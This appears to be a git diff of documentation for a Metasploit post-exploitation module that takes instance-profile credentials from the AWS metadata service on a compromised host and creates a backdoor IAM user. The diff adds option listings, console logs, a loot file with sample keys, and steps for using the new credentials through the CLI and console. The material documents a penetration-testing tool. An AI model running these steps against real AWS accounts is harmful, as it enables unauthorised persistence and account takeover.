@@ -113,6 +113,11 @@ Active sessions
113
113
114
114
## Options
115
115
116
+ By default the module will:
117
+
118
+ * create a randomly named IAM user and group
119
+ * generate API Keys and User password for after
120
+
116
121
In the event that the session'd AWS instance does not have an IAM role assigned
117
122
to it with sufficient privileges, the following options can be used to provide
118
123
specific authentication material:
@@ -124,9 +129,30 @@ specific authentication material:
124
129
The following options control the account that is being created:
125
130
126
131
* ` IAM_USERNAME ` : set this if you would like to control the username for to user to be created
132
+ * ` IAM_PASSWORD ` : set this if you would like to control the password for the created user
127
133
* ` CREATE_API ` : when true, creates API keys for this user
128
134
* ` CREATE_CONSOLE ` : when true, creates a password for this user so that they can access the AWS console
129
135
136
+ ```
137
+ msf exploit(sshexec) > use post/multi/escalate/aws_create_iam_user
138
+ msf post(aws_create_iam_user) > show options
139
+
140
+ Module options (post/multi/escalate/aws_create_iam_user):
141
+
142
+ Name Current Setting Required Description
143
+ ---- --------------- -------- -----------
144
+ AccessKeyId no AWS access key
145
+ CREATE_API true yes Add access key ID and secret access key to account (API, CLI, and SDK access)
146
+ CREATE_CONSOLE true yes Create an account with a password for accessing the AWS management console
147
+ IAM_GROUPNAME no Name of the group to be created (leave empty or unset to use a random name)
148
+ IAM_PASSWORD no Password to set for the user to be created (leave empty or unset to use a random name)
149
+ IAM_USERNAME no Name of the user to be created (leave empty or unset to use a random name)
150
+ Proxies no A proxy chain of format type:host:port[,type:host:port][...]
151
+ SESSION yes The session to run this module on.
152
+ SecretAccessKey no AWS secret key
153
+ Token no AWS session token
154
+
155
+ ```
130
156
131
157
## Abusing an Overly Permissive Instance Profile
132
158
@@ -136,7 +162,6 @@ overly permissive access. Once a session is established, we can load
136
162
e.g., ` SESSION 1 ` and run the exploit.
137
163
138
164
```
139
- msf exploit(sshexec) > use auxiliary/admin/aws/aws_create_iam_user
140
165
msf post(aws_create_iam_user) > set SESSION 1
141
166
SESSION => 1
142
167
msf post(aws_create_iam_user) > exploit
@@ -195,7 +220,6 @@ SecretAccessKey => jhsdlfjkhalkjdfhalskdhfjalsjkakhksdfhlah
195
220
msf post(aws_create_iam_user) > set SESSION 1
196
221
SESSION => 1
197
222
msf post(aws_create_iam_user) > run
198
- msf post(aws_create_iam_user) > run
199
223
200
224
[*] 169.254.169.254 - looking for creds...
201
225
[*] Creating user: bZWsmzyupDWxe8CT
@@ -222,12 +246,39 @@ bZWsmzyupDWxe8CT bZWsmzyupDWxe8CT 74FXOTagsYCzxz0pjPOmnsASewj4Dq/JzH3Q24qj AK
222
246
Information necessary to use the created account is printed to the screen and stored in loot:
223
247
224
248
```
249
+ $ cat ~/.msf4/loot/20161121175902_default_52.1.2.3_AKIA_881948.txt
225
250
{
226
251
"UserName": "As56ekIV59OgoFOj",
227
252
"GroupName": "As56ekIV59OgoFOj",
228
253
"SecretAccessKey": "/DcYUf9veCFQF3Qcoi1eyVzptMkVTeBm5scQ9bdD",
229
254
"AccessKeyId": "AKIAIVNMYXYBXYE7VCHQ",
230
255
"Password": "As56ekIV59OgoFOj",
231
256
"AccountId": "xxx"
257
+ ```
258
+
259
+ These creds can be used to call the AWS API directly or you can login using the console.
260
+
261
+ Configuring the CLI:
262
+
263
+ ```
264
+ $ aws configure --profile test
265
+ AWS Access Key ID [None]: AKIA...
266
+ AWS Secret Access Key [None]: THE SECRET ACCESS KEY...
267
+ Default region name [None]: us-west-2
268
+ Default output format [None]: json
269
+ ```
270
+
271
+ Call the API, e.g., get the Account ID:
272
+
273
+ ```
274
+ $ aws iam --profile test list-account-aliases
275
+ {
276
+ "AccountAliases": [
277
+ "Account_ID"
278
+ ]
232
279
}
233
280
```
281
+
282
+ Login via the console using the username and password:
283
+
284
+ Go to the AWS Console at https://Account_ID.signin.aws.amazon.com/console/ and login.
0 commit comments